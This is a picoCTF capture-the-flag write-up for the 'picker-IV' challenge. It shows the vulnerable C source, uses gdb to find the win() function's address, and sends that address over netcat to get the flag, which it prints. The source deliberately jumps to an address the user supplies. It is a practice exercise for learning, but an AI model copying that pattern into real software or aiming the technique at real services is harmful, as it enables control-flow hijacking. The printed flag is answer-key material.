Level Description
Can you figure out how this program works to get the flag? Connect to the program with netcat: $ nc saturn.picoctf.net 58238
The program’s source code can be downloaded here. The binary can be downloaded here.
Doc
Primer
A very usefull tool for solving Pico challanges is the primer where you can find docs for basically all the chapters explored on the site.
What is GDB?
GDB, the GNU Project debugger, allows you to see what is going on `inside' another program while it executes – or what another program was doing at the moment it crashed.
GDB can do four main kinds of things (plus other things in support of these) to help you catch bugs in the act:
- Start your program, specifying anything that might affect its behavior.
- Make your program stop on specified conditions.
- Examine what has happened, when your program has stopped.
- Change things in your program, so you can experiment with correcting the effects of one bug and go on to learn about another.
Solution
There is given a c source code and a binary.
Source :
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void print_segf_message(){
printf("Segfault triggered! Exiting.\n");
sleep(15);
exit(SIGSEGV);
}
int win() {
FILE *fptr;
char c;
printf("You won!\n");
// Open file
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
printf("Cannot open file.\n");
exit(0);
}
// Read contents from file
c = fgetc(fptr);
while (c != EOF)
{
printf ("%c", c);
c = fgetc(fptr);
}
printf("\n");
fclose(fptr);
}
int main() {
signal(SIGSEGV, print_segf_message);
setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered
unsigned int val;
printf("Enter the address in hex to jump to, excluding '0x': ");
scanf("%x", &val);
printf("You input 0x%x\n", val);
void (*foo)(void) = (void (*)())val;
foo();
}
netcat into the instance in order to see what we can input.
nc :
01:03:13 archie@Archie ~ → nc saturn.picoctf.net 56876
Enter the address in hex to jump to, excluding '0x': 1
You input 0x1
Segfault triggered! Exiting.
The goal seems to be inputting the adress of the function win in order for it to spit out the solution. Even tho gbd is installed on pico instances by default, you have access to the binary so further analysis can be done locally.
We use info functions on the binary in gbdto see the attached adresses to the functions.
01:05:00 archie@Archie ~ → gdb Downloads/picker-IV
GNU gdb (GDB) 15.2
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from Downloads/picker-IV...
This GDB supports auto-downloading debuginfo from the following URLs:
<https://debuginfod.archlinux.org>
Enable debuginfod for this session? (y or [n]) y
Debuginfod has been enabled.
To make this setting permanent, add 'set debuginfod enabled on' to .gdbinit.
(No debugging symbols found in Downloads/picker-IV)
(gdb) info functions
All defined functions:
Non-debugging symbols:
0x0000000000401000 _init
0x00000000004010e0 putchar@plt
0x00000000004010f0 puts@plt
0x0000000000401100 fclose@plt
0x0000000000401110 printf@plt
0x0000000000401120 fgetc@plt
0x0000000000401130 signal@plt
0x0000000000401140 setvbuf@plt
0x0000000000401150 fopen@plt
0x0000000000401160 __isoc99_scanf@plt
0x0000000000401170 exit@plt
0x0000000000401180 sleep@plt
0x0000000000401190 _start
0x00000000004011c0 _dl_relocate_static_pie
0x00000000004011d0 deregister_tm_clones
0x0000000000401200 register_tm_clones
0x0000000000401240 __do_global_dtors_aux
0x0000000000401270 frame_dummy
0x0000000000401276 print_segf_message
0x000000000040129e win
0x0000000000401334 main
0x00000000004013d0 __libc_csu_init
0x0000000000401440 __libc_csu_fini
0x0000000000401448 _fini
Now simply put that adress into netcat and get the flag.
01:10:14 archie@Archie ~ → nc saturn.picoctf.net 62038
Enter the address in hex to jump to, excluding '0x': 000000000040129e
You input 0x40129e
You won!
picoCTF{n3v3r_jump_t0_u53r_5uppl13d_4ddr35535_b8de1af4}